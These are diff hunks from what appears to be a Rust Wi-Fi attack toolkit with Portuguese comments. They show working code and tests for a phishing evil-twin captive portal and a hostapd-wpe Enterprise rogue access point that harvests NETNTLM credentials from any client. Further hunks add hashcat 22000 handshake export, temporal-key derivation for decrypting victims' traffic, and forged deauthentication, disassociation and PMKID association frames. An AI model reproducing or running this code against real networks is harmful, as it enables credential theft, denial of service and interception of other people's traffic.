assert_eq!(rules.len(), 1);
|
||||||
|
assert!(rules[0].contains(&"REDIRECT".to_string()));
|
||||||
|
assert!(rules[0].contains(&"8080".to_string()));
|
||||||
|
assert!(rules[0].contains(&"80".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn cleanup_rules_mirror_add_rules_with_delete_flag() {
|
||||||
|
let add = iptables_rules("wlan1", 8080);
|
||||||
|
let del = iptables_cleanup_rules("wlan1", 8080);
|
||||||
|
assert_eq!(add.len(), del.len());
|
||||||
|
assert!(add[0].contains(&"-A".to_string()));
|
||||||
|
assert!(del[0].contains(&"-D".to_string()));
|
||||||
|
assert!(!del[0].contains(&"-A".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
fn sample_target(password: &str) -> CrackTarget {
|
||||||
|
use crate::testutil::{handshake_frames, synthetic_handshake};
|
||||||
|
let (m1, m2) = handshake_frames("RedeAlvo", password, 2, false);
|
||||||
|
let hs = synthetic_handshake(
|
||||||
|
"RedeAlvo",
|
||||||
|
"00:11:22:33:44:55",
|
||||||
|
"66:77:88:99:aa:bb",
|
||||||
|
&m1,
|
||||||
|
&m2,
|
||||||
|
);
|
||||||
|
CrackTarget::from_handshake(&hs).expect("alvo")
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn check_submission_only_accepts_the_real_password() {
|
||||||
|
let target = sample_target("senha-verdadeira");
|
||||||
|
assert_eq!(
|
||||||
|
check_submission(&target, "senha-verdadeira"),
|
||||||
|
PortalAttempt::Correct
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
check_submission(&target, "chute-qualquer"),
|
||||||
|
PortalAttempt::WrongPassword
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
check_submission(&target, "curta"),
|
||||||
|
PortalAttempt::InvalidLength
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn portal_server_rejects_wrong_password_then_accepts_the_real_one() {
|
||||||
|
use std::io::{Read, Write};
|
||||||
|
use std::net::TcpListener;
|
||||||
|
use std::sync::atomic::AtomicBool;
|
||||||
|
|
||||||
|
let listener = TcpListener::bind("127.0.0.1:0").expect("bind");
|
||||||
|
let addr = listener.local_addr().unwrap();
|
||||||
|
let target = sample_target("senha-real-123");
|
||||||
|
let stop = AtomicBool::new(false);
|
||||||
|
let attempts = std::sync::Mutex::new(Vec::new());
|
||||||
|
|
||||||
|
let handle = std::thread::spawn(move || {
|
||||||
|
run_portal(listener, "RedeAlvo", &target, &stop, |a| {
|
||||||
|
attempts.lock().unwrap().push(a);
|
||||||
|
})
|
||||||
|
});
|
||||||
|
|
||||||
|
// Dá um tempinho pro accept() estar escutando antes do primeiro connect.
|
||||||
|
std::thread::sleep(std::time::Duration::from_millis(50));
|
||||||
|
|
||||||
|
let post = |password: &str| -> String {
|
||||||
|
let body = format!("password={password}");
|
||||||
|
let req = format!(
|
||||||
|
"POST /connect HTTP/1.1\r\nHost: x\r\nContent-Length: {}\r\n\r\n{body}",
|
||||||
|
body.len()
|
||||||
|
);
|
||||||
|
let mut stream = std::net::TcpStream::connect(addr).expect("connect");
|
||||||
|
stream.write_all(req.as_bytes()).unwrap();
|
||||||
|
let mut resp = String::new();
|
||||||
|
stream.read_to_string(&mut resp).unwrap();
|
||||||
|
resp
|
||||||
|
};
|
||||||
|
|
||||||
|
let wrong = post("senha-errada-aqui");
|
||||||
|
assert!(wrong.contains("Senha incorreta"));
|
||||||
|
|
||||||
|
let right = post("senha-real-123");
|
||||||
|
assert!(right.contains("Você já está conectado"));
|
||||||
|
|
||||||
|
let password = handle.join().unwrap();
|
||||||
|
assert_eq!(password.as_deref(), Some("senha-real-123"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn portal_pages_escape_ssid_and_render_retry_notice() {
|
||||||
|
let html = portal_login_html("Rede <script>", true);
|
||||||
|
assert!(html.contains("Rede <script>"));
|
||||||
|
assert!(!html.contains("<script>"));
|
||||||
|
assert!(html.contains("Senha incorreta"));
|
||||||
|
|
||||||
|
let clean = portal_login_html("Rede Normal", false);
|
||||||
|
assert!(!clean.contains("Senha incorreta"));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,224 @@
|
|||||||
|
//! Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X — usuário+senha via
|
||||||
|
//! RADIUS, não uma senha única como o PSK comum): clona o AP numa segunda
|
||||||
|
//! interface anunciando o mesmo SSID e aceita o handshake EAP (PEAP/EAP-TTLS
|
||||||
|
//! com MSCHAPv2) de qualquer cliente que tente autenticar nele. Diferente do
|
||||||
|
//! Evil Twin de PSK (`eviltwin.rs`), aqui o dispositivo manda a credencial
|
||||||
|
//! **automaticamente**, como parte do próprio protocolo 802.1X — não precisa
|
||||||
|
//! de portal cativo nem de nenhuma ação humana, porque o cliente já tenta
|
||||||
|
//! autenticar sozinho em qualquer AP que anuncie o SSID que ele reconhece.
|
||||||
|
//!
|
||||||
|
//! Isso só existe pra Enterprise porque só nela a senha (ou algo derivado
|
||||||
|
//! dela) de fato viaja pela rede como parte da autenticação — no PSK a
|
||||||
|
//! senha nunca é transmitida (só confere um MIC), por isso o Evil Twin de
|
||||||
|
//! PSK precisa enganar um humano a digitá-la de novo.
|
||||||
|
//!
|
||||||
|
//! Orquestra o `hostapd-wpe` (não vem com o Sabiá — precisa estar instalado
|
||||||
|
//! separadamente: não é um binário pequeno vendorizável como o reaver, é um
|
||||||
|
//! patch sobre a árvore de build do próprio hostapd). O Sabiá só gera a
|
||||||
|
//! config, o `eap_user` genérico e o certificado autoassinado, e depois lê o
|
||||||
|
//! log de credenciais capturadas.
|
||||||
|
//!
|
||||||
|
//! Limitação honesta: o certificado é autoassinado. Clientes que validam a
|
||||||
|
//! cadeia de certificado da rede (comum em dispositivos atualizados,
|
||||||
|
//! principalmente com perfil MDM corporativo) vão recusar a conexão ou
|
||||||
|
//! avisar o usuário — exatamente a defesa que deveria existir contra esse
|
||||||
|
//! ataque. Funciona de verdade contra dispositivos configurados sem essa
|
||||||
|
//! validação (ainda comum em redes legadas/mal configuradas), que é o caso
|
||||||
|
//! que esse ataque sempre existiu para expor.
|
||||||
|
|
||||||
|
use std::fmt::Write as _;
|
||||||
|
|
||||||
|
/// Config do hostapd-wpe pro AP clone: mesmo SSID/canal do AP real,
|
||||||
|
/// anunciando WPA2-Enterprise e aceitando qualquer EAP (PEAP/TTLS) — é o
|
||||||
|
/// `eap_user_file` genérico que faz ele aceitar qualquer identidade.
|
||||||
|
#[allow(clippy::too_many_arguments)]
|
||||||
|
pub fn hostapd_wpe_conf(
|
||||||
|
iface: &str,
|
||||||
|
ssid: &str,
|
||||||
|
channel: u32,
|
||||||
|
eap_user_path: &str,
|
||||||
|
ca_cert_path: &str,
|
||||||
|
server_cert_path: &str,
|
||||||
|
server_key_path: &str,
|
||||||
|
wpe_logfile_path: &str,
|
||||||
|
) -> String {
|
||||||
|
let mut out = String::new();
|
||||||
|
let _ = writeln!(out, "interface={iface}");
|
||||||
|
let _ = writeln!(out, "driver=nl80211");
|
||||||
|
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
|
||||||
|
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
|
||||||
|
let _ = writeln!(out, "channel={channel}");
|
||||||
|
let _ = writeln!(out, "auth_algs=1");
|
||||||
|
let _ = writeln!(out, "wmm_enabled=1");
|
||||||
|
let _ = writeln!(out, "ignore_broadcast_ssid=0");
|
||||||
|
let _ = writeln!(out, "wpa=2");
|
||||||
|
let _ = writeln!(out, "wpa_key_mgmt=WPA-EAP");
|
||||||
|
let _ = writeln!(out, "rsn_pairwise=CCMP");
|
||||||
|
let _ = writeln!(out, "ieee8021x=1");
|
||||||
|
let _ = writeln!(out, "eap_server=1");
|
||||||
|
let _ = writeln!(out, "eap_user_file={eap_user_path}");
|
||||||
|
let _ = writeln!(out, "ca_cert={ca_cert_path}");
|
||||||
|
let _ = writeln!(out, "server_cert={server_cert_path}");
|
||||||
|
let _ = writeln!(out, "private_key={server_key_path}");
|
||||||
|
let _ = writeln!(out, "wpe_logfile={wpe_logfile_path}");
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `eap_user` genérico: aceita qualquer identidade externa pra PEAP/TTLS e
|
||||||
|
/// força MSCHAPv2 por dentro — é o que faz o hostapd-wpe logar usuário +
|
||||||
|
/// challenge/response de qualquer cliente que tentar autenticar, sem
|
||||||
|
/// precisar saber credenciais reais de antemão.
|
||||||
|
pub const DEFAULT_EAP_USER_FILE: &str = concat!(
|
||||||
|
"# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n",
|
||||||
|
"* PEAP,TTLS\n",
|
||||||
|
"\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n",
|
||||||
|
);
|
||||||
|
|
||||||
|
/// Argumentos do `openssl req` pra gerar o par certificado+chave
|
||||||
|
/// autoassinado que o hostapd-wpe precisa pra abrir TLS (PEAP/TTLS sempre
|
||||||
|
/// envolve um túnel TLS, mesmo sendo um AP falso). Efêmero: 1 dia de validade
|
||||||
|
/// é de sobra pra uma sessão de teste.
|
||||||
|
pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec<String> {
|
||||||
|
[
|
||||||
|
"req",
|
||||||
|
"-x509",
|
||||||
|
"-newkey",
|
||||||
|
"rsa:2048",
|
||||||
|
"-keyout",
|
||||||
|
key_path,
|
||||||
|
"-out",
|
||||||
|
cert_path,
|
||||||
|
"-days",
|
||||||
|
"1",
|
||||||
|
"-nodes",
|
||||||
|
"-subj",
|
||||||
|
"/CN=sabia-wpe",
|
||||||
|
]
|
||||||
|
.into_iter()
|
||||||
|
.map(String::from)
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn sanitize_conf_value(value: &str) -> String {
|
||||||
|
value.replace(['\n', '\r'], "")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Uma credencial capturada: identidade + a linha pronta pra crackear
|
||||||
|
/// (formato `netntlm` do John the Ripper / compatível com `hashcat -m 5500`),
|
||||||
|
/// se o hostapd-wpe conseguiu capturar os dois.
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub struct CapturedCredential {
|
||||||
|
pub username: String,
|
||||||
|
pub netntlm: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Lê o `wpe_logfile` e extrai as credenciais capturadas. Parser
|
||||||
|
/// best-effort: o formato do hostapd-wpe é documentado (blocos
|
||||||
|
/// `username:`/`challenge:`/`response:`/`jtr NETNTLM:`), mas não dá pra
|
||||||
|
/// validar contra uma instalação de verdade nesta máquina (não é um
|
||||||
|
/// binário que o Sabiá vendoriza). Pega a linha `jtr NETNTLM:` quando
|
||||||
|
/// presente — já vem pronta pra `john --format=netntlm` ou pra reformatar
|
||||||
|
/// pro `hashcat -m 5500` — e nunca falha "silenciosamente demais": o job
|
||||||
|
/// sempre expõe o arquivo de log cru também, pra conferência manual.
|
||||||
|
pub fn captured_identities(log: &str) -> Vec<CapturedCredential> {
|
||||||
|
let mut out: Vec<CapturedCredential> = Vec::new();
|
||||||
|
let mut current_username: Option<String> = None;
|
||||||
|
for raw_line in log.lines() {
|
||||||
|
let line = raw_line.trim();
|
||||||
|
if let Some(rest) = line.strip_prefix("username:") {
|
||||||
|
current_username = Some(rest.trim().to_string());
|
||||||
|
} else if let Some(rest) = line.strip_prefix("jtr NETNTLM:") {
|
||||||
|
let netntlm = rest.trim().to_string();
|
||||||
|
let username = current_username
|
||||||
|
.clone()
|
||||||
|
.or_else(|| netntlm.split(':').next().map(str::to_string))
|
||||||
|
.unwrap_or_default();
|
||||||
|
if !out.iter().any(|c: &CapturedCredential| {
|
||||||
|
c.username == username && c.netntlm.as_deref() == Some(netntlm.as_str())
|
||||||
|
}) {
|
||||||
|
out.push(CapturedCredential {
|
||||||
|
username,
|
||||||
|
netntlm: Some(netntlm),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostapd_wpe_conf_includes_eap_and_tls_directives() {
|
||||||
|
let conf = hostapd_wpe_conf(
|
||||||
|
"wlan1",
|
||||||
|
"Corp\nWifi",
|
||||||
|
149,
|
||||||
|
"/tmp/eap_user",
|
||||||
|
"/tmp/ca.pem",
|
||||||
|
"/tmp/server.pem",
|
||||||
|
"/tmp/server.key",
|
||||||
|
"/tmp/wpe.log",
|
||||||
|
);
|
||||||
|
assert!(conf.contains("interface=wlan1"));
|
||||||
|
assert!(conf.contains("ssid=CorpWifi"));
|
||||||
|
assert!(!conf.contains("ssid=Corp\nWifi"));
|
||||||
|
assert!(conf.contains("hw_mode=a"));
|
||||||
|
assert!(conf.contains("ieee8021x=1"));
|
||||||
|
assert!(conf.contains("eap_server=1"));
|
||||||
|
assert!(conf.contains("eap_user_file=/tmp/eap_user"));
|
||||||
|
assert!(conf.contains("wpe_logfile=/tmp/wpe.log"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn openssl_args_reference_the_right_paths() {
|
||||||
|
let args = openssl_selfsigned_cert_args("/tmp/k.key", "/tmp/c.pem");
|
||||||
|
assert!(args.contains(&"/tmp/k.key".to_string()));
|
||||||
|
assert!(args.contains(&"/tmp/c.pem".to_string()));
|
||||||
|
assert!(args.contains(&"-x509".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn captured_identities_parses_username_and_netntlm_blocks() {
|
||||||
|
let log = "\
|
||||||
|
mschapv2: Thu Jan 1 00:00:00 1970
|
||||||
|
username: bob
|
||||||
|
challenge: aabbccddeeff0011
|
||||||
|
response: 1122334455667788990011223344556677889900aabbcc
|
||||||
|
jtr NETNTLM: bob:$NETNTLM$aabbccddeeff0011$1122334455667788990011223344556677889900aabbcc
|
||||||
|
|
||||||
|
mschapv2: Thu Jan 1 00:01:00 1970
|
||||||
|
username: alice
|
||||||
|
jtr NETNTLM: alice:$NETNTLM$0011223344556677$aabbccddeeff00112233445566778899aabbccdd
|
||||||
|
";
|
||||||
|
let creds = captured_identities(log);
|
||||||
|
assert_eq!(creds.len(), 2);
|
||||||
|
assert_eq!(creds[0].username, "bob");
|
||||||
|
assert!(creds[0]
|
||||||
|
.netntlm
|
||||||
|
.as_deref()
|
||||||
|
.unwrap()
|
||||||
|
.starts_with("bob:$NETNTLM$"));
|
||||||
|
assert_eq!(creds[1].username, "alice");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn captured_identities_dedupes_repeated_blocks_across_reparses() {
|
||||||
|
let log = "\
|
||||||
|
username: bob
|
||||||
|
jtr NETNTLM: bob:$NETNTLM$aa$bb
|
||||||
|
username: bob
|
||||||
|
jtr NETNTLM: bob:$NETNTLM$aa$bb
|
||||||
|
";
|
||||||
|
let creds = captured_identities(log);
|
||||||
|
assert_eq!(creds.len(), 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn captured_identities_returns_empty_for_a_log_with_no_credentials_yet() {
|
||||||
|
assert!(captured_identities("").is_empty());
|
||||||
|
assert!(captured_identities("hostapd-wpe v2.x starting up\n").is_empty());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -33,6 +33,12 @@ pub struct Handshake {
|
|||||||
pub first_seen_unix: u64,
|
pub first_seen_unix: u64,
|
||||||
pub last_seen_unix: u64,
|
pub last_seen_unix: u64,
|
||||||
pub password: Option<String>,
|
pub password: Option<String>,
|
||||||
|
/// Temporal Key (CCMP/AES) derivada quando `password` é preenchido.
|
||||||
|
/// Só pra TKIP (key_version 1) fica None: a decriptação aqui só cobre
|
||||||
|
/// CCMP. Serve pra enxergar o tráfego em claro desse par (BSSID,
|
||||||
|
/// estação) específico — não abre o tráfego de outros clientes, já que
|
||||||
|
/// a PTK é efêmera por associação.
|
||||||
|
pub tk: Option<[u8; 16]>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, serde::Serialize)]
|
#[derive(Debug, Clone, serde::Serialize)]
|
||||||
@@ -244,9 +250,17 @@ impl HandshakeTracker {
|
|||||||
pub fn set_password(&mut self, bssid: &str, station: &str, password: &str) {
|
pub fn set_password(&mut self, bssid: &str, station: &str, password: &str) {
|
||||||
if let Some(hs) = self.get_mut(bssid, station) {
|
if let Some(hs) = self.get_mut(bssid, station) {
|
||||||
hs.password = Some(password.to_string());
|
hs.password = Some(password.to_string());
|
||||||
|
hs.tk = derive_tk(hs, password);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// TK já derivada pra esse par (BSSID, estação), se a senha da rede já
|
||||||
|
/// foi quebrada e o handshake tinha os dois nonces (EAPOL completo — um
|
||||||
|
/// handshake só de PMKID não dá pra derivar PTK/TK, só confirma a PSK).
|
||||||
|
pub fn tk_for(&self, bssid: &str, station: &str) -> Option<[u8; 16]> {
|
||||||
|
self.get(bssid, station).and_then(|hs| hs.tk)
|
||||||
|
}
|
||||||
|
|
||||||
pub fn len(&self) -> usize {
|
pub fn len(&self) -> usize {
|
||||||
self.map.len()
|
self.map.len()
|
||||||
}
|
}
|
||||||
@@ -256,6 +270,26 @@ impl HandshakeTracker {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Deriva a TK (bytes 32..48 da PTK) a partir da senha quebrada, pra poder
|
||||||
|
/// decifrar CCMP do tráfego desse cliente. Só funciona com EAPOL/CCMP
|
||||||
|
/// completo (key_version 2); PMKID sozinho não tem os dois nonces pra
|
||||||
|
/// derivar PTK, e TKIP (key_version 1) usa RC4 + Michael, não implementado.
|
||||||
|
fn derive_tk(hs: &Handshake, password: &str) -> Option<[u8; 16]> {
|
||||||
|
if hs.key_version != 2 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?;
|
||||||
|
let bssid = dot11::parse_mac(&hs.bssid)?;
|
||||||
|
let station = dot11::parse_mac(&hs.station)?;
|
||||||
|
let anonce = hs.anonce?;
|
||||||
|
let snonce = hs.snonce?;
|
||||||
|
let pmk = crate::crack::pmk_from_candidate(password, ssid.as_bytes())?;
|
||||||
|
let ptk = crate::crack::compute_ptk(&pmk, &bssid, &station, &anonce, &snonce);
|
||||||
|
let mut tk = [0u8; 16];
|
||||||
|
tk.copy_from_slice(&ptk[32..48]);
|
||||||
|
Some(tk)
|
||||||
|
}
|
||||||
|
|
||||||
fn apply_key(hs: &mut Handshake, key: &EapolKey) {
|
fn apply_key(hs: &mut Handshake, key: &EapolKey) {
|
||||||
match key.message {
|
match key.message {
|
||||||
1 => {
|
1 => {
|
||||||
|
|||||||
@@ -0,0 +1,86 @@
|
|||||||
|
//! Exportação no formato `.hc22000` do hashcat.
|
||||||
|
//!
|
||||||
|
//! Duas linhas possíveis, como no hcxtools:
|
||||||
|
//!
|
||||||
|
//! * `WPA*01*PMKID*AP*STA*SSID***`
|
||||||
|
//! * `WPA*02*MIC*AP*STA*SSID*ANONCE*EAPOL*MESSAGEPAIR`
|
||||||
|
//!
|
||||||
|
//! O EAPOL exportado é o quadro da mensagem 2 completo (cabeçalho 802.1X +
|
||||||
|
//! descritor), que é o que o hashcat espera no campo `EAPOL_CLIENT`.
|
||||||
|
|
||||||
|
use crate::eapol::MIC_OFFSET;
|
||||||
|
use crate::handshake::Handshake;
|
||||||
|
|
||||||
|
fn mac_hex(mac: &str) -> Option<String> {
|
||||||
|
let bytes: Vec<String> = mac
|
||||||
|
.split(':')
|
||||||
|
.map(|part| part.trim().to_ascii_lowercase())
|
||||||
|
.collect();
|
||||||
|
if bytes.len() != 6
|
||||||
|
|| !bytes
|
||||||
|
.iter()
|
||||||
|
.all(|b| b.len() == 2 && b.chars().all(|c| c.is_ascii_hexdigit()))
|
||||||
|
{
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
Some(bytes.concat())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ssid_hex(ssid: &str) -> String {
|
||||||
|
ssid.as_bytes().iter().map(|b| format!("{b:02x}")).collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn hex(bytes: &[u8]) -> String {
|
||||||
|
bytes.iter().map(|b| format!("{b:02x}")).collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn hashcat_line(hs: &Handshake) -> Option<String> {
|
||||||
|
let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?;
|
||||||
|
let ap = mac_hex(&hs.bssid)?;
|
||||||
|
let sta = mac_hex(&hs.station)?;
|
||||||
|
let ssid = ssid_hex(ssid);
|
||||||
|
|
||||||
|
if let Some(pmkid) = hs.pmkid {
|
||||||
|
return Some(format!("WPA*01*{}*{ap}*{sta}*{ssid}***", hex(&pmkid)));
|
||||||
|
}
|
||||||
|
|
||||||
|
let eapol = hs.eapol_msg2.as_deref()?;
|
||||||
|
let anonce = hs.anonce?;
|
||||||
|
let mic = eapol.get(MIC_OFFSET..MIC_OFFSET + 16)?;
|
||||||
|
Some(format!(
|
||||||
|
"WPA*02*{}*{ap}*{sta}*{ssid}*{}*{}*00",
|
||||||
|
hex(mic),
|
||||||
|
hex(&anonce),
|
||||||
|
hex(eapol),
|
||||||
|
))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Linhas únicas, uma por handshake que tenha material suficiente.
|
||||||
|
pub fn export<'a>(handshakes: impl IntoIterator<Item = &'a Handshake>) -> Vec<String> {
|
||||||
|
let mut lines: Vec<String> = handshakes.into_iter().filter_map(hashcat_line).collect();
|
||||||
|
lines.sort();
|
||||||
|
lines.dedup();
|
||||||
|
lines
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::handshake::Handshake;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn exports_pmkid_line() {
|
||||||
|
let hs = Handshake {
|
||||||
|
bssid: "00:11:22:33:44:55".into(),
|
||||||
|
station: "66:77:88:99:aa:bb".into(),
|
||||||
|
ssid: Some("Casa".into()),
|
||||||
|
pmkid: Some([0xcd; 16]),
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
let line = hashcat_line(&hs).expect("linha");
|
||||||
|
assert_eq!(
|
||||||
|
line,
|
||||||
|
"WPA*01*cdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcd*001122334455*66778899aabb*43617361***"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -17,13 +17,26 @@ fn radiotap_min() -> [u8; 8] {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||||||
|
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
|
||||||
|
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
|
||||||
|
/// usado no teste bidirecional de PMF.
|
||||||
|
fn mgmt_frame_from(
|
||||||
|
subtype: u8,
|
||||||
|
transmitter: [u8; 6],
|
||||||
|
bssid: [u8; 6],
|
||||||
|
destination: [u8; 6],
|
||||||
|
reason: u16,
|
||||||
|
) -> Vec<u8> {
|
||||||
let fc: u16 = (subtype as u16) << 4;
|
let fc: u16 = (subtype as u16) << 4;
|
||||||
let mut f = Vec::with_capacity(8 + 24 + 2);
|
let mut f = Vec::with_capacity(8 + 24 + 2);
|
||||||
f.extend_from_slice(&radiotap_min());
|
f.extend_from_slice(&radiotap_min());
|
||||||
f.extend_from_slice(&fc.to_le_bytes());
|
f.extend_from_slice(&fc.to_le_bytes());
|
||||||
f.extend_from_slice(&0u16.to_le_bytes());
|
f.extend_from_slice(&0u16.to_le_bytes());
|
||||||
f.extend_from_slice(&destination); // addr1: destino
|
f.extend_from_slice(&destination); // addr1: destino
|
||||||
f.extend_from_slice(&bssid); // addr2: BSSID/transmissor
|
f.extend_from_slice(&transmitter); // addr2: transmissor
|
||||||
f.extend_from_slice(&bssid); // addr3: BSSID
|
f.extend_from_slice(&bssid); // addr3: BSSID
|
||||||
f.extend_from_slice(&[0u8; 2]); // número de sequência
|
f.extend_from_slice(&[0u8; 2]); // número de sequência
|
||||||
f.extend_from_slice(&reason.to_le_bytes());
|
f.extend_from_slice(&reason.to_le_bytes());
|
||||||
@@ -36,11 +49,129 @@ pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8
|
|||||||
mgmt_frame(12, bssid, destination, reason)
|
mgmt_frame(12, bssid, destination, reason)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
|
||||||
|
pub fn deauth_frame_from(
|
||||||
|
transmitter: [u8; 6],
|
||||||
|
bssid: [u8; 6],
|
||||||
|
destination: [u8; 6],
|
||||||
|
reason: u16,
|
||||||
|
) -> Vec<u8> {
|
||||||
|
mgmt_frame_from(12, transmitter, bssid, destination, reason)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Desassociação forjada com transmissor arbitrário (STA→AP).
|
||||||
|
pub fn disassoc_frame_from(
|
||||||
|
transmitter: [u8; 6],
|
||||||
|
bssid: [u8; 6],
|
||||||
|
destination: [u8; 6],
|
||||||
|
reason: u16,
|
||||||
|
) -> Vec<u8> {
|
||||||
|
mgmt_frame_from(10, transmitter, bssid, destination, reason)
|
||||||
|
}
|
||||||
|
|
||||||
/// Quadro de desassociação (subtipo 10).
|
/// Quadro de desassociação (subtipo 10).
|
||||||
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||||||
mgmt_frame(10, bssid, destination, reason)
|
mgmt_frame(10, bssid, destination, reason)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
|
||||||
|
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
|
||||||
|
const SEQ_CTRL_OFFSET: usize = 30;
|
||||||
|
|
||||||
|
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
|
||||||
|
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
|
||||||
|
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
|
||||||
|
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
|
||||||
|
pub fn set_seq(frame: &mut [u8], seq: u16) {
|
||||||
|
if frame.len() < SEQ_CTRL_OFFSET + 2 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let field = (seq & 0x0fff) << 4;
|
||||||
|
frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8;
|
||||||
|
frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8;
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||||
|
let mut out = Vec::with_capacity(2 + value.len());
|
||||||
|
out.push(tag);
|
||||||
|
out.push(value.len() as u8);
|
||||||
|
out.extend_from_slice(value);
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
|
||||||
|
/// request no teste de PMKID.
|
||||||
|
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
|
||||||
|
let mut f = Vec::with_capacity(8 + 24 + 6);
|
||||||
|
f.extend_from_slice(&radiotap_min());
|
||||||
|
f.extend_from_slice(&0x00b0u16.to_le_bytes());
|
||||||
|
f.extend_from_slice(&0u16.to_le_bytes());
|
||||||
|
f.extend_from_slice(&bssid);
|
||||||
|
f.extend_from_slice(&station);
|
||||||
|
f.extend_from_slice(&bssid);
|
||||||
|
f.extend_from_slice(&[0u8; 2]);
|
||||||
|
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
|
||||||
|
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
|
||||||
|
f.extend_from_slice(&0u16.to_le_bytes()); // status
|
||||||
|
f
|
||||||
|
}
|
||||||
|
|
||||||
|
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
|
||||||
|
let mut val = Vec::new();
|
||||||
|
val.extend_from_slice(&1u16.to_le_bytes());
|
||||||
|
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
|
||||||
|
val.extend_from_slice(&1u16.to_le_bytes());
|
||||||
|
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
|
||||||
|
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
|
||||||
|
for akm in akms {
|
||||||
|
val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]);
|
||||||
|
}
|
||||||
|
let mut caps = 0u16;
|
||||||
|
if pmf {
|
||||||
|
caps |= 0x0080;
|
||||||
|
}
|
||||||
|
if pmf_required {
|
||||||
|
caps |= 0x0040;
|
||||||
|
}
|
||||||
|
val.extend_from_slice(&caps.to_le_bytes());
|
||||||
|
val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count
